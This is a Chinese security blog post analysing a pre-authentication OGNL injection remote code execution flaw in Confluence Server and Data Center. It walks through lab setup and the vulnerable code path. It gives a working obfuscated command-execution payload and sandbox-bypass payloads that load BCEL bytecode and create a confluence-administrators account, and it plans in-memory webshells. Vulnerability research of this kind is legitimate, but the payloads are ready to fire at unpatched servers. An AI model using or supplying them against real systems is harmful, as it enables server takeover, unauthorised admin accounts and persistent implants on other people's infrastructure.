🤨环境搭建
很痛苦,环境搭建,屁事情贼多。
漏洞影响范围
Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
我选的版本是7.15.1,下载地址在:
Confluence Server 下载存档 | Atlassian
选择windows版本的exe,然后选择安装路径,安装完后是这样子的
进入Confluence文件夹startup_bundled_jre.bat
就可以启动服务了。启动后会要求我们配置postgresql,这里自行去安装个postgresql就好了。然后创建个数据库,跟着向导一步步点yes就可以。
然后样子就是这样子,至此还剩下Debug,因为本质就是个tomcat服务。我们直接在catalina.bat行首加上SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
之后启动服务即可。
记得把文件夹所有jar包放进依赖里。
🤫漏洞复现
直接前台就可以rce了,本质上是ognl注入,和struct2一样的。其中payload是${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}
这里涉及到很多细节,接下来会讲解。
😋漏洞原理分析
TextParseUtil#translateVariables
给上断点
然后发送我们的payload
然后调用栈如下
在filter结束后就分发dispatch了,然后会获取namespace也就是路由
随之进入serviceAction
excute方法
invoke触发代理
传入interceptor里面。然后一顿代理触发
到了executeResult
处理结果的地方
漏洞点就是translateVariables
方法,namespace被传进去了
最后进入findvalue方法,开始最重要的环节。
其实现在已经看到了RCE的执行点getValue了,而且它的OGNL是低版本的,没任何过滤,所以不需要考虑OGNL自身的黑名单,我们需要注意上面有一个if,safeExpressionUtil.isSafeExpression(expr)
这里是一个沙箱检测。
在confluence7.15过后加入了这个沙箱作为检测,目前网上公开的poc好像都不是绕过这个沙箱的。上面给出了payload,我们先跟进去看看
在这里有一系列的黑名单。内容如下
unsafepackage
1 | [java.rmi, sun.management, org.apache.catalina.session, java.jms, com.atlassian.confluence.util.io, com.google.common.reflect, javax.sql, java.nio, com.atlassian.sal.api.net, sun.invoke, java.util.zip, liquibase, com.hazelcast, org.apache.commons.httpclient, com.atlassian.util.concurrent, java.net, freemarker.ext.jsp, com.sun.jna, net.java.ao, javax, sun.corba, org.springframework.util.concurrent, com.sun.jmx, sun.misc, javassist, ognl, org.apache.commons.exec, com.atlassian.cache, org.wildfly.extension.undertow.deployment java.lang.reflect, io.atlassian.util.concurrent, java.util.concurrent, com.atlassian.confluence.util.http, sun.tracing, org.objectweb.asm, freemarker.template, net.sf.hibernate, freemarker.core, net.bytebuddy, org.apache.tomcat, freemarker.ext.rhino, com.atlassian.media, org.springframework.context, org.apache.velocity, javax.xml, java.sql, sun.reflect, sun.net, javax.persistence, org.javassist, javax.naming, org.apache.httpcomponents.httpclient, com.atlassian.hibernate, sun.nio, com.atlassian.confluence.impl.util.sandbox, com.google.common.net, com.atlassian.filestore, org.apache.commons.io, com.atlassian.vcache, jdk.nashorn, sun.launcher, oshi, org.apache.bcel, sun.rmi, sun.tools.jar, org.springframework.expression.spel, com.opensymphony.xwork.util, org.ow2.asm, com.atlassian.confluence.setup.bandana, org.quartz, net.sf.cglib, com.atlassian.activeobjects, com.atlassian.utils.process, sun.security, com.atlassian.quartz, javax.management, sun.awt.shell, com.google.common.cache, org.apache.http.client, java.io, com.atlassian.confluence.util.sandbox, java.util.jar, com.atlassian.scheduler, sun.print, com.atlassian.failurecache, com.google.common.io, org.apache.catalina.core, org.ehcache] |
unsafemethod
allowedclass
1 | [net.sf.hibernate.proxy.HibernateProxy, java.lang.reflect.Proxy, net.java.ao.EntityProxyAccessor, net.java.ao.RawEntity, net.sf.cglib.proxy.Factory, java.io.ObjectInputValidation, net.java.ao.Entity, com.atlassian.confluence.util.GeneralUtil, java.io.Serializable] |
网上好多poc其实都是直接调用什么new javax什么的,这在黑名单里面的,只针对低版本没沙箱,然后进入一段try catch
很妙的地方来了。在containsUnsafeExpression里面有一个判断
进入isSafeConstantExpressionNode
由于ServletActionContext触发了null。触发了runtime异常,进入catch,将我们的语句添加到了SAFE缓存里,所以计入了OGNL.getValue里面。
所以得以RCE。这是个很妙的思路。。。。这个方法可以通杀。还有一个妙点就是,绕过黑名单,我们用的是Class.forName直接绕过,因为不会被识别
然后假如我用网上的poc的话。
在这一步就就正中靶向给识别了。所以就寄了。
🤭沙箱绕过
检查分为3个部分。
1、使用正常功能类
com.atlassian.confluence.util.GeneralUtil
不在黑名单,自然可以,可以用它加Cookie(下面用网图)${@com.atlassian.confluence.util.GeneralUtil@setCookie("key","value")}
2、字符串拼贴
Class.forName里面肯定可以字符串拼贴,来绕过一些node的检测。
3、ClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader
不在黑名单里,可以加载BCEL字节码RCE和内存马~这个之后想研究一下
1 | ${Class.forName("org.ap"+"ache.bcel.util.ClassLoader").newInstance().loadClass("$$BCEL$$"+code).newInstance()} |
4、this
没有ban this关键字就可以引用了,这里的this是一个URL的Action对象,可以添加管理员
1 | ${#this.getUserAccessor().addUser('test','test@1234','[email protected]','Test',@com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))} |
🤨内存马问题
其实根据上面的内容,我大概有2种思路
BCEL字节码打内存马
我们可以反射调用BCEL来加载内存马
ScriptEngine
思路是一样的,反射调用eval执行嘛。这样也可以打入内存马,但是我都没实现过。懒啦,下周试试看。
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.